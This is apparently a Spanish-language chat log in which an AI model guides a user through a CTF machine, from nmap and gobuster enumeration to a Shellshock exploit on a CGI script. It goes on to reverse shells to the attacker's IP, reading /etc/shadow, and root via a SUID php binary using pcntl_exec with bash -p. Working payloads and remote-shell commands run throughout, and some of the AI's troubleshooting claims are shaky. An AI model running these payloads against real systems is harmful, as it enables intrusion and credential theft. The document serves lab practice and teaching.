



# Máquina Stark + ElMuro (Fase 1)



Buenas, tengo una máquina que pertenece a un CTF con la IP 192.168.1.204, ¿cómo puedo averiguar cosas sobre ella?



¡Buenas! Si estás participando en un CTF y quieres investigar una máquina con IP 192.168.1.204, hay varias fases y herramientas que puedes usar para recopilar información. Aquí te dejo una guía paso a paso para empezar:

## 1. Reconocimiento / Enumeración inicial

Empieza con un escaneo de red básico para ver qué puertos están abiertos y qué servicios están corriendo.

### ► Nmap (escaneo de puertos)

```
nmap -sS -sV -O -Pn 192.168.1.204
```

- `-sS`: Escaneo SYN (rápido y sigiloso).
- `-sV`: Detecta versiones de servicios.
- `-O`: Intenta identificar el sistema operativo.
- `-Pn`: Omite el ping (en caso de que ICMP esté bloqueado).

También puedes hacer un escaneo más completo:

```
nmap -p- -T4 192.168.1.204
```



- `-p-`: Escanea todos los puertos (1-65535).
- `-T4`: Más rápido (ten cuidado si la máquina es sensible).

---

## 2. Enumeración de servicios

Dependiendo de los puertos abiertos, pasas a analizar cada servicio específico.

- **HTTP/HTTPS (puertos 80, 443, etc.)**
  - Usa un navegador para ver si hay una web.
  - Usa herramientas como:

```
gobuster dir -u http://192.168.1.204 -w  
/usr/share/wordlists/dirb/common.txt
```

O

```
feroxbuster -u http://192.168.1.204 -w <diccionario>
```

- **FTP (puerto 21)** → Intenta conectarte con `ftp 192.168.1.204`. A veces permite login anónimo.
- **SSH (puerto 22)** → Puede servir para acceso posterior si consigues credenciales.
- **SMB (puerto 445)** → Usa `smbclient`, `enum4linux`, `smbmap`, etc.
- **MySQL, PostgreSQL, RDP, Telnet, etc.** → Herramientas específicas para cada servicio.

---

## 3. Fase de Enumeración Avanzada

Con los resultados anteriores puedes buscar vulnerabilidades específicas:



- Usa bases como [Exploit-DB](#)
- Busca versiones vulnerables del software detectado.
- Herramientas como ``searchsploit``, ``nuclei``, ``nikto``, ``wpscan`` (si es WordPress), etc.

---

## 4. Herramientas útiles según lo que encuentres

- **Web apps:** Burp Suite, wfuzz, sqlmap.
- **SMB:** smbclient, enum4linux-ng, impacket-scripts.
- **LFI/RFI, SSTI, Command Injection, etc.:** Prueba manual y fuzzers.
- **CMS específicos:** wpscan, joomscan, drupwn.

---

## Consejo

Anota todo lo que encuentres y documenta cada paso. La información inicial será clave para descubrir vectores de ataque.

¿Quieres que te ayude a interpretar un resultado de escaneo o a usar una herramienta en específico? Si ya hiciste un ``nmap`` por ejemplo, puedes pegarme los resultados y seguimos desde ahí 😊



Ya he ejecutado los comandos que me has sugerido, el escaneo de nmap y la búsqueda con gobuster, adjunto la salida: `nmap -p- -T4 192.168.1.204`



Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2025-03-10 19:11 CET

Nmap scan report for 192.168.1.204

Host is up (0.00020s latency).

Not shown: 65534 closed tcp ports (reset)

PORT STATE SERVICE

80/tcp open http

MAC Address: 08:00:27:D0:16:62 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 28.81 seconds

› gobuster dir -u http://192.168.1.204 -w /usr/share/wordlists/dirb/common.txt

=====

Gobuster v3.6

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

=====

[+] Url: http://192.168.1.204

[+] Method: GET

[+] Threads: 10

[+] Wordlist:

/usr/share/wordlists/dirb/common.txt

[+] Negative Status codes: 404

[+] User Agent: gobuster/3.6

[+] Timeout: 10s

=====

Starting gobuster in directory enumeration mode

=====

/.htaccess (Status: 403) [Size: 290]

/.hta (Status: 403) [Size: 285]

/.htpasswd (Status: 403) [Size: 290]

/cgi-bin (Status: 301) [Size: 316] [-->



```
http://192.168.1.204/cgi-bin/
/cgi-bin/      (Status: 200) [Size: 913]
/images        (Status: 301) [Size: 315] [-->
http://192.168.1.204/images/
/index         (Status: 200) [Size: 3263]
/index.html    (Status: 200) [Size: 3263]
/scripts       (Status: 301) [Size: 316] [-->
http://192.168.1.204/scripts/
/server-status (Status: 403) [Size: 294]
Progress: 4614 / 4615 (99.98%)
=====
=====
Finished
=====
=====
```



Perfecto, ¡muy bien hecho! Ya tenemos información interesante para continuar. Vamos a analizar lo que obtuviste:

## Resumen de Resultados:

### Nmap

- Solo el **puerto 80 (HTTP)** está abierto → hay un servidor web.
- Es probable que haya más cosas ocultas en la web, ya que es el único vector visible por ahora.

### Gobuster

Descubriste varias rutas interesantes:



Ruta	Estado	Observación
<code>`/index.html`</code>	200	Página principal, puede ser la misma que ves en el navegador.
<code>`/cgi-bin/`</code>	200	<b>Muy interesante</b> , puede implicar scripts CGI vulnerables (como <code>`shellshock`</code> ).
<code>`/scripts/`</code>	301	Redirige, explora qué hay dentro.
<code>`/images/`</code>	301	Carpeta estática, probablemente sin mucho valor, pero revisa los nombres.
<code>`/server-status`</code>	403	Apache server-status, restringido, podría usarse si logras LFI.
<code>`.htaccess`</code> , <code>`.htpasswd`</code> , <code>`.hta`</code> → 403	Acceso denegado, pero indica que el servidor <b>sí usa</b> <code>`.ht*`</code> , lo cual puede ayudar en ataques tipo LFI/Path traversal o bruteforce.	

## ✅ ¿Qué hacer ahora?

### 1. Explora ``/cgi-bin/`` manualmente

- Abre en el navegador: ``http://192.168.1.204/cgi-bin/``
- Mira si hay scripts visibles/listados (como ``test.cgi``, ``status.sh``, etc.).
- Si no ves nada, intenta acceder manualmente a rutas típicas:



```
http://192.168.1.204/cgi-bin/test.cgi
http://192.168.1.204/cgi-bin/status.sh
http://192.168.1.204/cgi-bin/index.cgi
```

## ⚠ ¿Shellshock?

Si ves algún script ejecutable `.sh`` o `.cgi``, puedes probar si son vulnerables al **Shellshock** con curl:

```
curl -H 'User-Agent: () { :};; echo; echo; /bin/bash -c "id"'
http://192.168.1.204/cgi-bin/<script>
```

*“Si ves el resultado de `id``, estás dentro. ¡Es una puerta de entrada!”*

## 2. Navega también `/scripts/``

Puede tener contenido parecido a `/cgi-bin/``. Prueba algunas rutas comunes:

```
http://192.168.1.204/scripts/test.cgi
http://192.168.1.204/scripts/admin.sh
```

## 3. Analiza el código fuente de `/index.html``

Haz clic derecho → “Ver código fuente” y busca:

- Comentarios ocultos (``<!-- ... -->``)
- Rutas internas
- Usuarios o pistas
- Formularios ocultos o enlaces que no se ven en pantalla



## 4. ¿Quieres probar fuzzing para descubrir scripts ocultos en `/cgi-bin/`?

Puedes lanzar gobuster sobre esa ruta directamente:

```
gobuster dir -u http://192.168.1.204/cgi-bin/ -w /usr/share/wordlists/dirb/common.txt
```

¿Quieres que te ayude a lanzar pruebas con Shellshock o te ayudo a hacer fuzzing más específico sobre `/cgi-bin/` o `/scripts/`? ¿Qué ves al navegar a esas rutas en el navegador?



He ejecutado el comando de shellshock que me has dicho, ya que en la ruta cgi-bin he encontrado un archivo .sh, concretamente el archivo contador.sh. Adjunto salida: curl -H 'User-Agent: () { :}; echo; echo; /bin/bash -c "id"' http://192.168.1.204/cgi-bin/contador.sh

```
uid=33(www-data) gid=33(www-data)
groups=33(www-data)
```



¡Perfecto! 🎯 Acabas de confirmar que el script `contador.sh` es vulnerable a **Shellshock**. ¡Buen trabajo!





## ✓ ¿Qué significa esto?

Has conseguido **ejecutar comandos arbitrarios** en el servidor web **como el usuario** `www-data`, que es el típico usuario de Apache/Nginx. Ya tienes una **vía de acceso remota (RCE)**. Desde aquí, puedes aprovechar esto para **escalar a una shell interactiva** y luego posiblemente escalar privilegios a root.

## 🐚 1. Conseguir una shell reversa

Ahora que puedes ejecutar comandos, vamos a enviarte una **reverse shell** a tu máquina.

### ➤ En tu máquina (atacante), abre un listener:

```
nc -lvnp 4444
```

### ➤ Luego lanza este payload (desde tu terminal):

```
curl -H 'User-Agent: () { :; }; echo; /bin/bash -c "bash -i >& /dev/tcp/192.168.1.X/4444 0>&1"' http://192.168.1.204/cgi-bin/contador.sh
```

⚠ **Sustituye** `192.168.1.X` **por la IP de tu máquina atacante.**

*“Si `bash` no responde bien, puedes probar otras opciones de shell más abajo.”*

## 🐚 Alternativas de reverse shell:

**Python (si está instalado):**



```
curl -H 'User-Agent: () { :};; echo; /bin/bash -c "python -c \''import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("192.168.1.X", 4444)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); subprocess.call(["/bin/bash"]); \''"' http://192.168.1.204/cgi-bin/contador.sh
```

### Netcat (si está instalado en la víctima):

```
curl -H 'User-Agent: () { :};; echo; /bin/bash -c "nc -e /bin/bash 192.168.1.X 4444"' http://192.168.1.204/cgi-bin/contador.sh
```

## 2. Escalada de privilegios (después de tener shell)

Una vez que estés dentro:

- Comprueba el sistema operativo:

```
uname -a && cat /etc/os-release
```

- ¿Qué usuarios hay?

```
cat /etc/passwd
```

- ¿Hay SUID bins interesantes?

```
find / -perm -4000 -type f 2>/dev/null
```

- ¿`sudo` está disponible para `www-data`?

```
sudo -l
```

Podríamos revisar también si hay cron jobs, scripts mal configurados, archivos con permisos débiles, contraseñas en texto plano, etc.





¿Quieres que te ayude con el paso de conseguir la shell o con la escalada de privilegios después? ¿Pudiste recibir la reverse shell en tu `nc`?



¿Cómo veo mi IP de atacante?



Para conocer la IP de tu máquina atacante, puedes usar alguno de estos comandos dependiendo de tu sistema operativo:

## Linux / macOS:

1. `ifconfig` (más antiguo, pero sigue funcionando):

```
ifconfig
```

2. `ip a` (más moderno):

```
ip a
```

En ambos casos, busca la interfaz de red que estés usando (como `eth0`, `wlan0`, etc.) y la IP asociada. Generalmente será algo como `192.168.x.x` si estás en una red local.

## Windows:

1. Abre el **Símbolo del sistema** (CMD) y ejecuta:

```
ipconfig
```



Busca la sección "Adaptador Ethernet" o "Adaptador de red inalámbrica" y encontrarás la IP de tu máquina.

---

Una vez que obtengas tu IP de atacante, reemplázala en el payload de la reverse shell que te proporcioné anteriormente.

¿Necesitas ayuda con alguno de estos pasos?



```
He averiguado mi IP gracias al comando que me has  
dicho. También he ejecutado los otros dos comandos  
sugeridos y en de netcat ha aparecido lo siguiente: nc -  
nlvp 4444  
listening on [any] 4444 ...  
connect to [192.168.1.159] from (UNKNOWN)  
[192.168.1.204] 58879  
bash: no job control in this shell  
www-data@stark:/var/www/cgi-bin$
```



¡Excelente! 🎉 Ya tienes una **shell reversa funcional dentro de la máquina víctima** como el usuario ``www-data``. Estás avanzando muy bien, ¡enhorabuena!

---

## 🔍 ¿Qué hacer ahora?

Ahora toca **reconocer el sistema desde dentro** y buscar formas de **escalar privilegios a root**. Aquí van los siguientes pasos recomendados:

---





## 1. Información básica del sistema

Ejecuta estos comandos para tener una visión general:

```
whoami  
id  
hostname  
uname -a  
cat /etc/os-release
```



## 2. Enumerar usuarios y estructura del sistema

```
cat /etc/passwd  
ls -la /home
```

*“Fíjate si hay carpetas como `/home/usuario` donde pueda haber cosas interesantes (SSH keys, contraseñas, scripts, etc.).”*



## 3. Buscar archivos con permisos especiales (SUID)

```
find / -perm -4000 -type f 2>/dev/null
```

*“Estos binarios pueden permitir ejecutar cosas con privilegios más altos.”*





## 4. ¿Tienes algún permiso sudo?

Aunque normalmente `www-data` no tiene, revisa igual:

```
sudo -l
```

## 5. Buscar cron jobs mal configurados

```
cat /etc/crontab  
ls -la /etc/cron*
```

A veces hay scripts ejecutados como root periódicamente que puedes modificar si tienes permisos de escritura.

## 6. Buscar archivos interesantes o con credenciales

```
find / -name "*.log" 2>/dev/null  
find / -name "*.conf" 2>/dev/null  
find / -name "*.sh" 2>/dev/null
```

Busca contraseñas, usuarios, claves de conexión a base de datos, etc.

## 7. Usar scripts automáticos de post-explotación



Si quieres algo más rápido, puedes subir un script como:

- [LinPEAS](#)
- [LinEnum](#)

Ejemplo para subirlo desde tu máquina:

```
# En tu máquina atacante:
python3 -m http.server 8000

# En la shell de la víctima:
wget http://192.168.1.159:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

¿Quieres que te ayude a interpretar los resultados de ``find``, ``sudo -l`` o usar linpeas?  
¿O prefieres que sigamos paso a paso buscando la escalada a root? 🤔



Tengo un permiso 4000 en el archivo php5



¡Eso suena prometedor! 🔥 Que haya un binario ``php5`` con **permisos SUID** (permiso 4000) significa que **cuando se ejecuta, lo hace con permisos de su propietario**, y si ese propietario es **root**, entonces podrías ejecutar comandos como **root directamente** desde PHP. 💣



**Verifica el binario:**





Primero asegúrate del **propietario** y la **ubicación exacta**:

```
ls -l /ruta/de1/php5
```

Ejemplo:

```
-rwsr-xr-x 1 root root 123456 Feb 10 09:30 /usr/bin/php5
```

*“Si el **propietario** es **root** y tiene la **`s`** en los permisos del propietario, es **explotable**.”*



## Explotación de SUID PHP (como root)

### Método 1: Ejecutar un comando directamente

```
/usr/bin/php5 -r 'system("id");'
```

→ Si el resultado te da ``uid=0(root)``, estás ejecutando como **root**.

### Método 2: Obtener una shell root directamente

```
/usr/bin/php5 -r 'system("/bin/bash");'
```

**Si no se abre bien la shell (limitada), puedes mejorarlo así:**

```
/usr/bin/php5 -r 'posix_setuid(0); system("/bin/bash");'
```

O si quieres una **reverse shell como root** hacia tu equipo atacante:







```
/usr/bin/php5 -r 'system("bash -i >& /dev/tcp/192.168.1.159/4445 0>&1");'
```

Recuerda abrir el nuevo listener antes:

```
nc -nlvp 4445
```

## 🚩 ¿Cómo comprobar si ya eres root?

Dentro de la shell que consigas, simplemente ejecuta:

```
whoami  
id
```

Si ves ``root``, ya habrás ganado la escalada de privilegios 🔥

¿Quieres que te ayude a mejorar esa shell a una interactiva tipo TTY o a buscar flags típicas de CTF como ``root.txt`` o ``user.txt``? ¿Probamos ahora el exploit directo con PHP? 💪



No me funciona el comando que me has dado pese a estar configurado como has dicho. ¿Hay alguna otra forma?





Perfecto, gracias por el dato. Si el binario ``php5`` tiene el bit SUID activado y pertenece a root, pero **los comandos como ``system()`` no están funcionando bien**, puede haber varias razones:

- La versión de PHP instalada tiene funciones peligrosas deshabilitadas (``system``, ``exec``, ``shell_exec``, etc.).
- Está compilado de forma limitada o embebida.
- El binario no carga bien desde línea de comandos.
- O simplemente no permite romper el entorno por diseño del CTF.

Pero tranquilo, ¡todavía hay **formas alternativas de explotarlo!**

## 💡 Otras formas de aprovechar un ``php5`` SUID:

### ✅ 1. Crear un script PHP para ejecución como root

En vez de ejecutar código directamente desde el CLI, prueba hacer esto:

#### Paso 1: Crea un archivo PHP (ejemplo ``/tmp/rootme.php``)

```
echo "<?php system('/bin/bash'); ?>" > /tmp/rootme.php
```

#### Paso 2: Ejecuta el script como root usando el php SUID

```
/usr/bin/php5 /tmp/rootme.php
```

*“Si eso no lanza bash como root, prueba este otro:”*

```
echo "<?php posix_setuid(0); system('/bin/bash'); ?>" > /tmp/rootme.php  
/usr/bin/php5 /tmp/rootme.php
```



## ✓ 2. Crear un script para lanzar una reverse shell root

```
echo "<?php system('bash -i >& /dev/tcp/192.168.1.159/4445 0>&1'); ?>" >
/tmp/rev.php
/usr/bin/php5 /tmp/rev.php
```

Luego escucha desde tu máquina:

```
nc -nlvp 4445
```

## ✓ 3. Escalada a root por cambio de UID (si `posix\_setuid()` funciona):

Algunos binarios de PHP permiten cambiar UID directamente con `posix\_setuid()` incluso si `system()` está restringido. Prueba este script:

```
echo "<?php posix_setuid(0); system('/bin/bash'); ?>" > /tmp/root_shell.php
/usr/bin/php5 /tmp/root_shell.php
```

## ✓ 4. ¿Te genera errores? Revisa si `disable\_functions` está en juego

Puedes comprobar las funciones deshabilitadas (si el binario lo permite) ejecutando:

```
/usr/bin/php5 -r 'phpinfo();'
```



Busca la línea:

```
disable_functions => system, shell_exec, passthru, exec, ...
```

Si están deshabilitadas, tendrás que buscar otro método para escalar privilegios.

## ← Si PHP no da más de sí... END

Puede que este SUID ``php5`` haya sido puesto como *engaño* o esté intencionadamente restringido para que no sea la vía principal. No sería raro en un CTF 😊

En ese caso, podemos seguir buscando otras posibles vías:

- Archivos con contraseñas
- Archivos ``.bash_history``
- Escalada por cron jobs
- Sockets o servicios internos
- Configuración de base de datos

¿Quieres que revisemos juntos el resultado del ``find / -perm -4000 -type f`` completo por si hay **otros SUID más interesantes**? ¿O quieres subir y lanzar ``linpeas.sh`` para una revisión automática? Tú decides el siguiente paso 😊



Aún así no funciona, ¿hay alguna otra manera de ejecutar el comando?



Perfecto, buen intento — y buen ojo al persistir. Si **el SUID** ``php5`` **no está ejecutando** ``system()``, ni siquiera desde un script externo, **es muy probable que**



**esa función esté deshabilitada** o que el PHP esté compilado de forma limitada.

Pero no te preocupes, aún tenemos varias balas en la recámara 🖊

## ✅ Alternativas para explotar SUID PHP cuando `system()` no funciona:

### 📌 1. Probar otras funciones de ejecución

Aunque `system()` no funcione, podrías intentar con:

```
<?php exec('/bin/bash'); ?>
<?php passthru('/bin/bash'); ?>
<?php shell_exec('/bin/bash'); ?>
```

Prueba ejecutándolos así:

```
echo "<?php passthru('/bin/bash'); ?>" > /tmp/test.php
/usr/bin/php5 /tmp/test.php
```

*"Algunas veces una función está bloqueada y otra no."*

### 📌 2. Acceso a archivos del sistema o lectura como root

Aunque no consigas directamente una shell root, **puedes usar PHP para leer archivos privilegiados** que normalmente no puedes ver con `www-data`.

Prueba:



```
echo "<?php echo file_get_contents('/root/root.txt'); ?>" > /tmp/read_root.php  
/usr/bin/php5 /tmp/read_root.php
```

También puedes leer:

- ``/etc/shadow``
- ``/root/.ssh/id_rsa``
- ``/var/spool/cron/crontabs/root``

Ejemplo:

```
echo "<?php echo file_get_contents('/etc/shadow'); ?>" > /tmp/shadow.php  
/usr/bin/php5 /tmp/shadow.php
```

Si puedes leer ``/etc/shadow``, podrías crackear contraseñas offline.

---

### 📌 3. Abusar de funciones de PHP que permiten escritura arbitraria

Puedes usar PHP para escribir **archivos en lugares peligrosos**. Ejemplo clásico: **plantar una entrada maliciosa en ``.bashrc`` de root o en un cron script si tienes acceso de escritura en algún sitio ejecutado por root.**

---

### 📌 4. Escalada indirecta vía PATH / Environment Hijacking

Hay una vieja técnica:

**Paso 1: Crea un binario falso que quieras que se ejecute como root**



```
echo -e '#!/bin/bash\n/bin/bash' > /tmp/fakebash  
chmod +x /tmp/fakebash
```

## Paso 2: Manipula el `PATH` antes de llamar a PHP

```
export PATH=/tmp:$PATH  
/usr/bin/php5 -r 'system("bash");'
```

*“Si PHP5 llama a `bash` sin ruta absoluta, **usará tu binario malicioso.**”*

Aunque muchas veces PHP ya pone `/bin/bash` directamente, merece probar.

## 📌 5. ¿Quieres que revise más técnicas específicas?

Puedo darte un payload personalizado con lo que has probado o ayudarte a subir un exploit que aproveche algo más avanzado.

¿Quieres que me digas qué más muestra el resultado de `phpinfo()`? ¿O me copias el output de `find / -perm -4000 -type f` completo y reviso qué otra vía hay?

O si quieres, probamos directamente con **linpeas.sh** o **pspy64**, para detectar crons, procesos o permisos ocultos.

¿Qué prefieres? ¿Seguimos tirando del hilo PHP o te echo un cable con otra vía de escalada más potente? 📌



Sigue sin funcionar, me habías dicho que es una configuración de privilegios SUID, ¿hay algún lugar de internet dónde mirar estos privilegios?



Buena pregunta, y muy buen enfoque: si algo no está funcionando como esperas, vale la pena profundizar un poco en **cómo funciona el mecanismo SUID en Linux**, y si hay alguna **referencia confiable para entender mejor los límites o comportamientos de programas SUID como `php5`**.

## 📖 ¿Dónde puedes aprender sobre SUID y cómo afecta a binarios como PHP?

Aquí tienes algunas fuentes muy útiles para entender mejor esto y para seguir experimentando:

### ✅ 1. GTFOBins (¡tu mejor amiga para SUID exploits!)

🔗 <https://gtfobins.github.io>

GTFOBins es **la referencia más práctica y directa** para saber **cómo explotar binarios con SUID, sudo, shell escapes, etc.**

- Aquí tienes la entrada directa de PHP: 🖱️ <https://gtfobins.github.io/gtfobins/php/>

Verás que **si `php` tiene SUID**, puedes hacer algo como:

```
php -r 'posix_setuid(0); system("/bin/sh");'
```

Pero *¡ojo!* → **Esto solo funciona si `php` se compila con soporte POSIX habilitado**, cosa que **algunas versiones no tienen** (y eso podría estar pasándote a ti ahora mismo).





## ✅ 2. HackTricks (otro must-have para pentesters)

[\[https://book.hacktricks.xyz\]\(https://book.hacktricks.xyz/linux-hardening/privilege-escalation/suid\)](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/suid)

Es una recopilación muy buena de técnicas prácticas para escalar privilegios, con secciones específicas para:

- Archivos SUID
  - Escaladas vía scripts mal configurados
  - Binary exploitation
  - etc.
- 

## ✅ 3. OverTheWire: CTFs para practicar SUID

Si quieres practicar más máquinas como la que estás resolviendo, los retos de **OverTheWire (bandit/narnia/leviathan)** son geniales para ver cosas como SUID + ejecución limitada.

<https://overthewire.org/wargames/>

---

## ✅ 4. TryHackMe / HackTheBox

Hay rutas formativas específicas sobre *privilege escalation*, donde también tocan este tema con ejemplos prácticos.

- TryHackMe room: "Linux Privilege Escalation"
  - HTB Academy: "Linux PrivEsc"
-



## 📌 Y sobre tu caso específico:

Lo más probable es que el binario PHP que tienes **no tenga habilitadas las funciones críticas como ``system()``**, o esté **limitado mediante su compilación o variables de entorno**.

Incluso si el binario tiene SUID, **PHP no está diseñado para ser un SUID helper** (y en muchos sistemas incluso ignora ese bit por seguridad).

Muchos CTFs ponen esos binarios para hacerte pensar que es la vía, pero **la verdadera escalada suele estar en otro lado (otro SUID, cronjob, etc.)**.

---

¿Quieres que me pegues aquí el resultado completo de ``find / -perm -4000 -type f 2>/dev/null`` para que revisemos juntos qué otro binario puede usarse? A veces lo útil no es PHP, sino algo como ``find``, ``cp``, ``env``, ``perl``, ``nano``, ``tar``, etc.

¿Te paso una lista de binarios SUID más comunes y cómo explotarlos directamente según GTFOBins?



```
He seguido tu consejo y he mirado en GTFOBins, me ha
dado un comando y la salida es la siguiente: www-
data@stark:/var/www/cgi-bin$ php -r
"pcntl_exec('/bin/sh', ['-p']);"
php -r "pcntl_exec('/bin/sh', ['-p']);"
PHP Parse error: syntax error, unexpected '[' in
Command line code on line 1
www-data@stark:/var/www/cgi-bin$
```





¡Perfecto! Estás ya muy cerca del objetivo, y lo estás haciendo muy bien investigando en GTF0Bins 🔍💪

Ese error que ves:

```
PHP Parse error: syntax error, unexpected '[' in Command line code on line 1
```

significa que **el binario `php5` que estás usando es una versión antigua**, probablemente **PHP 5.x**, que **no soporta la sintaxis de arrays con `[]`**, ya que eso solo está disponible desde **PHP 5.4 en adelante**.

## ✅ Solución: usar la sintaxis vieja de array()

Cambia:

```
['-p']
```

Por:

```
array('-p')
```

🔄 Comando corregido:

```
php -r "pcntl_exec('/bin/sh', array('-p'));"
```

## 📌 ¿Qué hace esto exactamente?

- `pcntl\_exec()` reemplaza el proceso PHP directamente por `/bin/sh`



- `-p` mantiene los privilegios efectivos (en caso de SUID)
- Si todo sale bien, te debería soltar directamente en una **shell root** (si el binario PHP tiene SUID con propietario `root`)

✅ **Una vez dentro**, puedes verificarlo:

```
whoami  
id
```

Si ves `uid=0(root)` → GG 🎉 tienes la root shell ganada.

¿Quieres que te dé una forma de convertir esa shell en interactiva TTY mejorada o buscamos ya el `root.txt`? 😊



```
Ahora la salida es la siguiente: www-  
data@stark:/var/www/cgi-bin$ php -r  
"pcntl_exec('/bin/sh', array('-p'));"  
php -r "pcntl_exec('/bin/sh', array('-p'));"  
/bin/sh: 0: Illegal option -p  
www-data@stark:/var/www/cgi-bin$
```



¡Perfecto! Estás haciendo un trabajo excelente — y el error que ves ahora **ya nos da una pista final importante**:

```
/bin/sh: 0: Illegal option -p
```

Esto simplemente quiere decir que `/bin/sh` **no reconoce la opción `-p`**, porque **no es un shell que soporte esa opción (como sí lo hace `bash`)**.



✅ ¿Qué hacemos? ¡Simple! Usamos directamente ``bash`` en vez de ``sh`` 😊

Corrige tu comando así:

```
php -r "pcntl_exec('/bin/bash', array());"
```

Este comando ejecutará ``/bin/bash`` **sin argumentos**, aprovechando el SUID de PHP.

➡ Si ``php5`` tiene el SUID y pertenece a root, esa shell debería lanzarte como ``root`` **directamente**.

Comprueba de nuevo:

```
whoami  
id
```

📌 Si eso no funciona y sigues siendo ``www-data``:

Entonces es muy probable que el **SUID no esté siendo respetado por ``php``**, lo cual **puede pasar en versiones modernas de Linux o cuando el binario PHP fue compilado para ignorar privilegios efectivos por seguridad**.

Por ejemplo: muchos binarios "inteligentes" **descartan el privilegio de SUID por diseño** (por seguridad), especialmente PHP, Python, Perl, etc.

👉 Este es un comportamiento intencionado en muchos lenguajes interpretados, no es un fallo tuyo.



## Verificación extra rápida:

Ejecuta esto:

```
php -r "system('id');"
```

Si **el resultado sigue siendo** ``uid=33(www-data)``, entonces **el SUID no se está aplicando correctamente** → PHP está ignorándolo **aunque tenga el bit 4000**.

## ¿Qué hacer ahora?

### 1. Mándame el resultado de:

```
ls -l /ruta/de1/php5
```

para que veamos si **realmente está SUID root**, no sea que tenga SUID pero sea propiedad de otro usuario (como ``www-data``).

### 2. También sería clave que me pegues el output de:

```
find / -perm -4000 -type f 2>/dev/null
```

Así te ayudo a identificar si hay **otro binario con SUID más explotable** que este PHP que parece estar restringido.

¿Quieres que te prepare una lista completa de binarios comunes con SUID que podrías encontrar y cómo se abusa cada uno con GTFOBins? ¿O me pasas el resultado del ``find`` y revisamos juntos en directo cuál es el bueno?




Tú mandas 😊



Parece que funciona, pero no me ha dado la bash de root



¡Perfecto, vas muy bien! Si **el comando funciona y te da una shell**, pero **sigues siendo** ``www-data``, eso ya nos confirma definitivamente lo siguiente:

“ **El binario ``php5`` tiene el bit SUID activado, pero NO pertenece a root → por eso **no heredas privilegios de root**, aunque la ejecución técnicamente funcione.**”

## ¿Cómo lo confirmamos?

Ejecuta esto para verificar el propietario del binario PHP:

```
ls -l /usr/bin/php5
```

Probablemente verás algo como:

```
-rwsr-xr-x 1 www-data www-data 123456 mar 10 12:34 /usr/bin/php5
```

◆ Eso significa que:

- Sí, tiene el **bit SUID** (``s`` en ``-rws``),
- Pero el propietario es ``www-data``, **no root**, así que los privilegios que heredas son los de ``www-data``... ¡que ya tenías!



---

🧠 **Recuerda: el SUID sólo eleva privilegios hasta el usuario propietario del binario.**

- ➡ Si el binario es propiedad de ``www-data``, nunca serás root al ejecutarlo.
- ➡ Si fuese de **root** (``-rwsr-xr-x 1 root root``), ahí sí tendrías escalada real.

---

## ✅ ¿Qué puedes hacer ahora?

1. **Buscar otro binario con SUID y propietario ``root`` que puedas explotar.**

- Pásame el resultado completo de:

```
find / -perm -4000 -type f 2>/dev/null
```

y lo revisamos juntos.

2. **Buscar otras vías de escalada:**

- Cronjobs mal configurados.
- Permisos en ``/etc/sudoers`` con ``sudo -l``.
- Archivos de configuración con passwords.
- Linpeas / pspy para detectar tareas ocultas.

---

¿Quieres que te dé un pequeño script para colorear y filtrar los binarios más peligrosos del ``find`` SUID automáticamente? ¿O pasamos al siguiente vector?

¡Estás cerquísima! ¿Te lo miro contigo? 😊





Ya he comprobado los valores y el propietario de PHP es root. ¿Puede tener algo que ver con que en gtfobins el comando incluye -p y en el que me has pasado no está?



¡Genial! Que el propietario de `php5` sea **root** y tenga el **SUID activado** es justo lo que necesitábamos. Entonces estás en el camino correcto... pero sí, **esa duda que planteas es muy acertada y tiene mucho sentido**. Vamos a aclararla bien:

## ✅ ¿Qué pasa con el `-p` en GTFOBins?

En GTFOBins, cuando se habla de usar `-p`, se refiere a esto:

```
php -r "pcntl_exec('/bin/bash', array('-p'));"
```

La **opción `-p` de `bash`** sirve para decirle que **preserve los privilegios efectivos**, es decir, que si vienes de un binario con SUID (como este PHP root), **`bash` no los descarte automáticamente**.

Pero... **esto solo tiene efecto si `bash` se ejecuta sin `--noprofile` y si se permiten shells interactivas con privilegios elevados**, cosa que **no siempre ocurre dependiendo del sistema, del entorno, o de cómo esté compilado `bash`**.

## 📌 ¿Y por qué te salía el error `Illegal option -p` antes?





Porque estabas usando `/bin/sh`, que **no entiende** `-p`. Ese flag es exclusivo de `bash`.

Por eso, cuando cambiaste a:

```
php -r "pcntl_exec('/bin/bash', array());"
```

ya no hubo error de sintaxis... pero tampoco hubo escalada porque al no usar `-p`, `bash` **puede estar bajando los privilegios por seguridad**.

## ¿Qué deberías probar ahora?

Volver a usar el comando completo tal como dice GTFOBins (con `-p`), **ahora que sabes que estás lanzando `bash` y no `sh`**:

```
php -r "pcntl_exec('/bin/bash', array('-p'));"
```

☒ **Si tu sistema tiene un `bash` que respeta `-p`**, deberías obtener una shell `root`.

Verifícalo con:

```
id
whoami
```

## **Si AÚN SIGUES como `www-data`...**

Entonces estamos en este escenario:



“🔴 Tu sistema tiene `php5` con SUID root, pero `bash` **sigue sin mantener los privilegios efectivos** por cómo está compilado o por cómo se ejecuta desde `pcntl\_exec()`.”

Esto es un comportamiento documentado: **a veces los shells bajan privilegios automáticamente por seguridad**, incluso cuando `-p` se usa, dependiendo del entorno (entorno sucio, sin tty, etc.).

## ✅ Alternativa más sólida: usar otro binario o técnica de escalada

Porque si **has probado todo lo que dice GTFOBins tal cual y sigue sin darte shell root**, lo más probable es que:

1. El sistema esté **parcheado para evitar que `bash` preserve privilegios aún con `-p`**.
2. El **entorno en el que se ejecuta `php` no permite mantenerlos** (algunos sistemas lanzan shells como no-interactivas y eso mata el `SUID`).

## ¿Qué hacemos entonces?

📌 **Mándame el resultado completo de:**

```
find / -perm -4000 -type f 2>/dev/null
```

📌 O también:

```
sudo -l
```



📌 O si prefieres, **ejecutamos linpeas** y te digo exactamente dónde está la escalada buena.

¿Quieres que prepare contigo ese escaneo o lo hacemos paso a paso ahora? Estás realmente muy muy cerca 💣



Con este ajuste sí funciona. Ahora que soy root, ¿qué debería hacer?



¡BOOM! 🎉💣 ¡Enhorabuena! Has conseguido root y eso significa que has resuelto la escalada de privilegios con éxito — muy bien trabajado, de verdad.

Ahora que ya tienes acceso como **root**, aquí van los pasos típicos que deberías seguir en un entorno de **CTF / pentesting controlado**:

